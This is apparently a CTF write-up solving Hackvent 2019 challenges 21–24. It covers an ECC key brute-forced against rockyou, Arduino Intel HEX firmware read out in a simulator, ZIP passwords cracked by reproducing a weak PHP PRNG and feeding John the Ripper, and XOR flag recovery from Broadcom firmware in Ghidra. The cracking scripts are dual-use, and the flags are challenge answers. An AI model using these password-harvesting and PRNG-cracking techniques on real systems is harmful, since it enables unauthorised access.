The next step is to decrypt “Hy97Xwv97vpwGn21finVvZj5pK/BvBjscf6vffm1po0=” with AES 256, the salt and the information we got out of the challenge description. As said before we use the found password as encryption key.

I implemented both steps in a Python script:

from Crypto.PublicKey import ECC from Crypto.Cipher import AES import hashlib import base64 from Crypto import Random from Crypto.Util.Padding import pad, unpad rockyou = "/mnt/shared/rockyou.txt" x = 0xc58966d17da18c7f019c881e187c608fcb5010ef36fba4a199e7b382a088072f y = 0xd91b949eaf992c464d3e0d09c45b173b121d53097a9d47c25220c0b4beb943c key = None password = "" with open(rockyou) as f: for line in f: p = line.strip() if len(p) == 16: sha256d = hashlib.sha256(p).hexdigest() #print("Try password: " + p + " || sha256: " + sha256d) try: key = ECC.construct(curve='p256', point_x=x, point_y=y, d=int(sha256d,16)) print("[+] Matching password found: '" + p + "' !") password = p break except: #print("nope") continue enc_flag = "Hy97Xwv97vpwGn21finVvZj5pK/BvBjscf6vffm1po0=" salt ="TwoHundredFiftySix" iterations = 256 * 256 * 256 key = hashlib.pbkdf2_hmac("sha256", password, salt, iterations) print("Key is: " + base64.b64encode(key)) cipher = AES.new(key, AES.MODE_ECB) plaintext = cipher.decrypt(base64.b64decode(enc_flag)) print(plaintext)

Running the script reveals the password and the flag:

python sol_21.py [+] Matching password found: 'santacomesatxmas' ! Key is: 6x4EQsplZuXWh3QNJGyupts7KFH3dBQNFTyEjVlRVwU= HV19{sry_n0_crypt0mat_th1s_year}

Flag: HV19{sry_n0_crypt0mat_th1s_year}

HV19.22 The command … is lost (Author: inik — Level: leet)

Description:

Santa bought this gadget when it was released in 2010. He did his own DYI project to control his sledge by serial communication over IR. Unfortunately Santa lost the source code for it and doesn’t remember the command needed to send to the sledge. The only thing left is this file: thecommand7.data

Santa likes to start a new DYI project with more commands in January, but first he needs to know the old command. So, now it’s on you to help out Santa.

Solution:

First find out more about the .data file we got:

cat /mnt/shared/thecommand7.data :100000000C9435000C945D000C945D000C945D0024 :100010000C945D000C945D000C945D000C945D00EC :100020000C945D000C945D000C945D000C945D00DC :100030000C945D000C945D000C945D000C945D00CC :100040000C94EA010C945D000C945A020C94340256 :100050000C945D000C945D000C945D000C945D00AC :100060000C945D000C945D00A60311241FBECFEF1D :10007000D8E0DEBFCDBF11E0A0E0B1E0EEE9F8E0EE :1000800002C005900D92A835B107D9F721E0A8E587 :10009000B1E001C01D92AE3FB207E1F710E0C5E349 :1000A000D0E004C02197FE010E944704C433D10769 :1000B000C9F70E94D3030C944D040C9400000F93D5 :1000C0001F93CF93DF93EC01E881F9810190F081D8 :1000D000E02D09958C01E881F9810280F381E02D02 :1000E00042E050E065E571E0CE010995800F911F77 :1000F000DF91CF911F910F910895AF92BF92CF9250 :10010000DF92EF92FF920F931F93CF93DF936C01D7 :100110007B018B01040F151FEB015E01AE18BF08B8 :10012000C017D10759F06991D601ED91FC9101906A :10013000F081E02DC6010995892B79F7C501DF9182 :10014000CF911F910F91FF90EF90DF90CF90BF90D4 :10015000AF900895FC01538D448D252F30E0842FFE :1001600090E0821B930B541710F0CF9608950197DF :100170000895FC01918D828D981761F0A28DAE0FCC :10018000BF2FB11D5D968C91928D9F5F9F73928F53 :1001900090E008958FEF9FEF0895FC01918D828D7F :1001A000981731F0828DE80FF11D858D90E008954C :1001B0008FEF9FEF0895FC01918D228D892F90E0A4 :1001C000805C9F4F821B91098F739927089588E562 :1001D00091E00E94DB0021E0892B09F420E0822FCE :1001E000089580E090E0892B29F00E94E7008111BA :1001F0000C9400000895FC01A48DA80FB92FB11D27 :10020000A35ABF4F2C91848D90E001968F7399274C :10021000848FA689B7892C93A089B1898C9183702A :1002200080648C93938D848D981306C00288F38923 :10023000E02D80818F7D80830895EF92FF920F9350 :100240001F93CF93DF93EC0181E0888F9B8D8C8D82 :1002500098131AC0E889F989808185FF15C09FB776 :10026000F894EE89FF896083E889F9898081837039 :10027000806480839FBF81E090E0DF91CF911F91E8 :100280000F91FF90EF900895F62E0B8D10E00F5F09 :100290001F4F0F731127E02E8C8D8E110CC00FB6DF :1002A00007FCFACFE889F989808185FFF5CFCE0177 :1002B0000E94FB00F1CFEB8DEC0FFD2FF11DE35AF7 :1002C000FF4FF0829FB7F8940B8FEA89FB898081FA :1002D0008062CFCFCF93DF93EC01888D8823B9F074 :1002E000AA89BB89E889F9898C9185FD03C0808141 :1002F00086FD0DC00FB607FCF7CF8C9185FFF2CFBE :10030000808185FFEDCFCE010E94FB00E9CFDF9118 :10031000CF910895CF92DF92EF92FF92CF93DF9328 :10032000EC016A017B01E889F98982E08083C114CC :1003300081EED806E104F104A1F060E079E08DE3FC :1003400090E0A70196010E9425042150310941093E :1003500051095695479537952795211580E138071E :1003600098F0E889F989108260E874E88EE190E0FD :10037000A70196010E942504215031094109510924 :100380005695479537952795EC85FD853083EE8505 :10039000FF852083188EEC89FD8986E08083EA89B9 :1003A000FB89808180618083EA89FB898081886004 :1003B0008083EA89FB89808180688083EA89FB8960 :1003C00080818F7D8083DF91CF91FF90EF90DF90D0 :1003D000CF9008951F920F920FB60F9211242F9372 :1003E0003F938F939F93AF93BF938091FA01909126 :1003F000FB01A091FC01B091FD013091F90123E0D6 :10040000230F2D3758F50196A11DB11D2093F90139 :100410008093FA019093FB01A093FC01B093FD013E :100420008091F5019091F601A091F701B091F8014A :100430000196A11DB11D8093F5019093F601A09343 :10044000F701B093F801BF91AF919F918F913F91C8 :100450002F910F900FBE0F901F90189526E8230F35 :100460000296A11DB11DD2CF1F920F920FB60F920F :1004700011242F933F934F935F936F937F938F93A9 :100480009F93AF93BF93EF93FF9388E591E00E9412 :10049000FB00FF91EF91BF91AF919F918F917F9161 :1004A0006F915F914F913F912F910F900FBE0F90E1 :1004B0001F9018951F920F920FB60F9211242F9331 :1004C0008F939F93EF93FF93E0916801F0916901FF :1004D0008081E0916E01F0916F0182FD1BC09081DF :1004E000809171018F5F8F7320917201821741F0AB :1004F000E0917101F0E0E85AFE4F958F8093710111 :10050000FF91EF919F918F912F910F900FBE0F90C0 :100510001F9018958081F4CFCF93DF9300D000D047 :10052000CDB7DEB789E290E0FC018081882F90E0B2 :10053000807899279C838B838B819C81892BB9F44C :100540001A82198289819A818C9788F489819A818B :10055000895E9E4FFC018081682F88E591E00E94B2 :100560005F0089819A8101969A838983EBCF0F90EE :100570000F900F900F90DF91CF910895CF93DF935D :10058000CDB7DEB7809102018093340180911401D0 :1005900080931B018091110180932A0180910201B7 :1005A000809325018091000180933C01809102019C :1005B000809322018091130180931E01809112018A :1005C000809338018091100180933D01DF91CF919C :1005D0000895CF93DF93CDB7DEB78091020180936A :1005E0002D01809102018093280180911101809357 :1005F000390180910F0180933E0180910901809320 :100600003B018091070180933A0180910D01809315 :10061000210180910701809331018091070180932E :100620002E0180910A018093230180910301809320 :100630001A01DF91CF910895CF93DF93CDB7DEB745 :100640008091020180933F018091060180931801FF :10065000809110018093400180910B0180932401CF :1006600080910E01809327018091080180932F01D2 :100670008091150180934101809111018093300197 :100680008091070180931F018091020180933701BF :1006900080910F018093360180910201809329019E :1006A000DF91CF910895CF93DF93CDB7DEB78091DF :1006B0000E0180932C018091070180932601809187 :1006C000040180931C0180910101809319018091A4 :1006D0000701809335018091040180931701809177 :1006E00005018093200180910C018093330180915A :1006F000070180932B018091020180931D0180915D :10070000110180933201DF91CF910895CF93DF9350 :10071000CDB7DEB70E9453030E941C030E94E9027A :100720000E94BE02DF91CF910895CF93DF93CDB7A2 :10073000DEB74CE251E060E070E088E591E00E94B5 :100740008A010E948603DF91CF910895E8E5F1E0E8 :100750001382128288EE93E0A0E0B0E08483958358 :10076000A683B78387E491E09183808385EC90E052 :100770009587848784EC90E09787868780EC90E06B :10078000918B808B81EC90E0938B828B82EC90E05C :10079000958B848B86EC90E0978B868B118E128ED6 :1007A000138E148E0895789484B5826084BD84B5C8 :1007B000816084BD85B5826085BD85B5816085BD5C :1007C00080916E00816080936E0010928100809114 :1007D000810082608093810080918100816080939C :1007E0008100809180008160809380008091B100C1 :1007F00084608093B1008091B00081608093B000EC :1008000080917A00846080937A0080917A0082607F :1008100080937A0080917A00816080937A00809141 :100820007A00806880937A001092C1000E9495033C :10083000C0E0D0E00E948C022097E1F30E94E70024 :100840008823C1F30E940000F5CFA1E21A2EAA1B53 :10085000BB1BFD010DC0AA1FBB1FEE1FFF1FA21770 :10086000B307E407F50720F0A21BB30BE40BF50B6D :10087000661F771F881F991F1A9469F760957095F6 :10088000809590959B01AC01BD01CF010895EE0FBD :0E089000FF1F0590F491E02D0994F894FFCF1E :10089E00303133394853565F61636467686C6D6EEF :1008AE00727478797B7D002020202020202020204B :1008BE00202020202020202020202020202020202A :1008CE00202020202020202020202020202020201A :1008DE00202000000000001D017D00AA006A01DB3F :0808EE0000B900CD000D0A0065 :00000001FF

Intel HEX is a file format that conveys binary information in ASCII text form. It is commonly used for programming microcontrollers, EPROMs, and other types of programmable logic devices.

As the description of the challenge is talking about DIY I assumed this has to be Arduino. Before doing any static analysis on such a format I prefer to find a debugger to run and debug it. After searching the Internet I came across this simulator. I used the evaluation copy. Fortunately it did run with wine.

The program breaks with an error after the simulator runs for a bit.

The description tells us that the gadget is from 2010. The Arduino Uno is from 2010 and has the ATMega328P Prozessor. Changing the microcontroller to ATMega328P in the AVR Simulator made the program work like a charm.

After examining the memory addresses in the simulator I found the Flag stored in alphabetical order at the memory location $100 – $115.

And if we run the program for some time the flag gets stored in the right order at the memory location $117-$141.

The only thing left was to write down all HEX values and translate them into ASCII.

48 56 31 39 7b 48 33 79 5f 53 6c 33 64 67 33 5f 6d 33 33 74 5f 6d 33 5f 61 74 5f 74 68 33 5f 6e 33 78 74 5f 63 30 72 6e 33 72 7d

This is done easiest with the magic function of CyberChef.

Flag: HV19{H3y_Sl3dg3_m33t_m3_at_th3_n3xt_c0rn3r}

HV19.23 Internet Data Archive (Author: M. — Level: leet)

Description:

Today’s flag is available in the Internet Data Archive (IDA).

Resources:

http://whale.hacking-lab.com:23023/

Solution:

The entry point of this challenge was the following website:

We can select different challenges from previous years, enter a username and then submit the request. First username I tried was ‘santa’. But with this username returned back “Illegal request”. Other usernames are working and we get a password together with a link to an encrypted ZIP file.

The link to the ZIP file is: http://whale.hacking-lab.com:23023/tmp/mcia-data.zip. If I re-submit a request with the same username ‘mcia’ this archive gets overwritten but a new password is assigned.

Because we can not choose the username ‘santa’ we probably have to decrypt Santas ZIP file. This was confirmed after finding the indexable tmp folder on the webserver and the oldest ZIP archive being Santa’s one.

I couldn’t find anything suspicious in the phpinfo.php file, therefore I moved on. Apparently this really is about password cracking. The generated passwords were always 12 characters long. I collected many passwords with this script:

import requests URL = 'http://whale.hacking-lab.com:23023/archive.php' headers = {"Content-Type": "application/x-www-form-urlencoded", "Connection" : "keep-alive"} data = 'username=mcia&req%5B%5D=candle&req%5B%5D=ball15&req%5B%5D=cake&req%5B%5D=blindball' pw_text = "Your one-time Password is: <strong>" pw_length = 12 while True: r = requests.post(URL, data = data, headers = headers) #print(r.text) i = r.text.index(pw_text) + len(pw_text) password = r.text[i:(i + pw_length)] print(password)

I saved some hundreds of passwords to a file and generated a password charset.

$ python hv23_pw.py > passwords.txt $ cat passwords.txt | sed 's/./&

/g' | LC_COLLATE=C sort -u | tr -d '

' 23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz

Not all letters and numbers are used in the charset. ‘1’, ‘I’, ‘N’, ‘O’, ‘l’, ‘n’, ‘o’ are left out. I googled the character set I found and was surprised by the result! https://devco.re/blog/2019/06/21/operation-crack-hacking-IDA-Pro-installer-PRNG-from-an-unusual-way-en/

This matches the title of the challenge, is about password cracking 12 character long passwords with the same character set I had found.

I implemented a random password generator like in the link, but obviously in PHP.

<?php /** * * Inspirations: * - https://devco.re/blog/2019/06/21/operation-crack-hacking-IDA-Pro-installer-PRNG-from-an-unusual-way-en/ * - https://stackoverflow.com/questions/6101956/generating-a-random-password-in-php **/ $alphabet1 = "23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz"; $alphabet2 = "ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz"; $alphabet3 = "23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ"; $alphabet4 = "abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ"; $alphabet5 = "abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789"; $alphabet6 = "ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789"; $counter = 0; //Just run... :) while (true){ $pass1 = array(); $pass2 = array(); $pass3 = array(); $pass4 = array(); $pass5 = array(); $pass6 = array(); //12 character password $alphaLength = strlen($alphabet1) - 1; //set initialization vector srand($counter); $counter++; for ($i = 0; $i < 12; $i++) { $n = rand(0, $alphaLength); $pass1[] = $alphabet1[$n]; $pass2[] = $alphabet2[$n]; $pass3[] = $alphabet3[$n]; $pass4[] = $alphabet4[$n]; $pass5[] = $alphabet5[$n]; $pass6[] = $alphabet6[$n]; } print(implode($pass1)."

"); print(implode($pass2)."

"); print(implode($pass3)."

"); print(implode($pass4)."

"); print(implode($pass5)."

"); print(implode($pass6)."

"); } ?>

Next step is to crack the password with John The Ripper.

$ zip2john Santa-data.zip > zip.hash $ php gen.php | john --stdin zip.hash Using default input encoding: UTF-8 Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x]) Will run 2 OpenMP threads Press Ctrl-C to abort, or send SIGUSR1 to john process for status Kwmq3Sqmc5sA (Santa-data.zip/flag.txt) 1g 0:00:13:40 0.001218g/s 31688p/s 31688c/s 31688C/s WbUTAyk5kxBT..mLt5JdhVzhWE Use the "--show" option to display all of the cracked passwords reliably Session completed

The password took around 13 minutest to be cracked in my virtual machine.

$ 7z x ../Santa-data.zip -pKwmq3Sqmc5sA ... $ cat flag.txt HV19{Cr4ckin_Passw0rdz_like_IDA_Pr0}

Flag: HV19{Cr4ckin_Passw0rdz_like_IDA_Pr0}

HV19.24 ham radio (Author: DrSchottky — Level: leet)

Description:

Elves built for santa a special radio to help him coordinating today’s presents delivery.



Resources:

19bf7592-f3ee-474c-bf82-233f270bbf70.zip



Hints:

As little present and in order not to screw up your whole christmas, you have 3 whole days to solve this puzzle. Happy christmas!

Solution:

Last day of Hackvent and there is a Reverse Engineering challenge which gives full points for three days.. This must be a hard one… :/

First step was to find out a bit more about the binary. Strings already returned some useful information:

$ strings brcmfmac43430-sdio.bin ... Um9zZXMgYXJlIHJlZCwgVmlvbGV0cyBhcmUgYmx1ZSwgRHJTY2hvdHRreSBsb3ZlcyBob29raW5nIGlvY3Rscywgd2h5IHNob3VsZG4ndCB5b3U/ pGnexmon_ver: 2.2.2-269-g4921d-dirty-16 wl%d: Broadcom BCM%s 802.11 Wireless Controller %s ... 43430a1-roml/sdio-g-p2p-pool-pno-pktfilter-keepalive-aoe-mchan-tdls-proptxstatus-ampduhostreorder-lpc-sr-bcmcps Version: 7.45.41.46 (r666254 CY) CRC: 970a33e2 Date: Mon 2017-08-07 00:48:36 PDT Ucode Ver: 1043.206 FWID 01-ef6eb4d3

And there we have a Base64 decoded string with a nice little hint:

$ strings brcmfmac43430-sdio.bin | grep Um | base64 --decode Roses are red, Violets are blue, DrSchottky loves hooking ioctls, why shouldn't you?

Using google and the information I got reveals some more useful information:

Broadcom BCM43430 is a wireless chip used on the Raspberry 3

DrSchottky made pull requests to the Nexmon project

Nexmon was used to patch the original binary file

The first idea was to run the driver in an emulated environment, but this looked to complicated. Therefore I went for a static analysis with Ghidra. Starting point for the analysis is obviously the base64 encoded string.

I mostly worked with the pseudo code of Ghidra and used the Assembly view for verification and getting the data values.

I could find more information on the source code of the Nexmon project. Many variables and functions could be resolved with this wrapper class.

undefined4 flag_calculator(undefined4 wlc,int cmd,undefined4 ioctl_buffer,undefined4 length,undefined4 wlc_if) { undefined4 uVar1; byte *pbVar2; byte *pbVar3; byte bStack57; undefined4 uStack56; undefined4 uStack52; undefined4 uStack48; undefined4 uStack44; undefined4 uStack40; undefined4 auStack36 [2]; argprintf_init(ioctl_buffer,length); uStack56 = *(undefined4 *)PTR_DAT_00058e84; uStack52 = *(undefined4 *)(PTR_DAT_00058e84 + 4); uStack48 = *(undefined4 *)(PTR_DAT_00058e84 + 8); uStack44 = *(undefined4 *)(PTR_DAT_00058e84 + 0xc); uStack40 = *(undefined4 *)(PTR_DAT_00058e84 + 0x10); auStack36[0] = *(undefined4 *)(PTR_DAT_00058e84 + 0x14); if (cmd == 0xcafe) { //char * strncpy(char *dst, char *src, unsigned int num) func_0x00803cd4(ioctl_buffer,roses,length); return 0; } if (cmd != 0xd00d) { if (cmd != 0x1337) { //int wlc_ioctl(void *wlc, int cmd, void *arg, int len, void *wlc_if) uVar1 = func_0x0081a2d4(wlc,cmd,ioctl_buffer,length,wlc_if); return uVar1; } pbVar3 = &bStack57; pbVar2 = DAT_00058e88; do { pbVar3 = pbVar3 + 1; pbVar2 = pbVar2 + 1; *pbVar3 = *pbVar2 ^ *pbVar3; } while (pbVar3 != (byte *)((int)auStack36 + 2)); //char * strncpy(char *dst, char *src, unsigned int num) func_0x00803cd4(ioctl_buffer,&uStack56,length); return 0; } memcpy(PTR_DAT_00058e8c,0x800000,0x17); return 0; }

It looks like in this function the flag is calculated. One important thing is the last function call, which appears to be memcpy. There we load 23 bytes (0x17) from the address 0x800000. This looks like memory from an external source is loaded. And according to this Makefile at this address the rom.bin file is loaded.

ROM_FILE=rom.bin ROMSTART=0x800000 ROMSIZE=0xA0000

The correct rom.bin file we find in a Github project of the same guys who wrote Nexmon: https://github.com/seemoo-lab/bcm_misc/blob/master/bcm43430a1/rom.bin The program flow of the disassembled function then probably looks like this:

cmd == 0xd00d –> Copy the bytes from the rom cmd == 0x1337 –> XOR the bytes from the memory with a memory range in the firmware

Because XOR is a reversible function we can calculate the 5 first bytes of the memory range we need to get the whole flag.

f = "rom.bin" rom_bytes = None hv19_bytes = b"\x48\x56\x31\x39\x7b" #HV19{ with open(f, "rb") as f: rom_bytes = f.read(0x17) # get 5 first bytes of the data in the firmware r = [hex(ord(a) ^ ord(b)) for a, b in zip(hv19_bytes,rom_bytes[:5])] print(r)

$ python sol.py ['0x9', '0xbc', '0x31', '0x3a', '0x68']

If we search for 0x9bc313a68 in the memory we find the corresponding memory address to be at 00058e94.

f = "rom.bin" rom_bytes = None fw_bytes = b"\x09\xbc\x31\x3a\x68\x1a\xab\x72\x47\x86\x7e\xe6\x4a\x1d\x6f\x04\x2e\x74\x50\x0d\x78\x06\x3e" with open(f, "rb") as f: rom_bytes = f.read(0x17) # get the flag r = ''.join([chr(ord(a) ^ ord(b)) for a, b in zip(fw_bytes,rom_bytes)]) print(r)

$ python sol.py HV19{Y0uw3n7FullM4Cm4n}

Flag: HV19{Y0uw3n7FullM4Cm4n}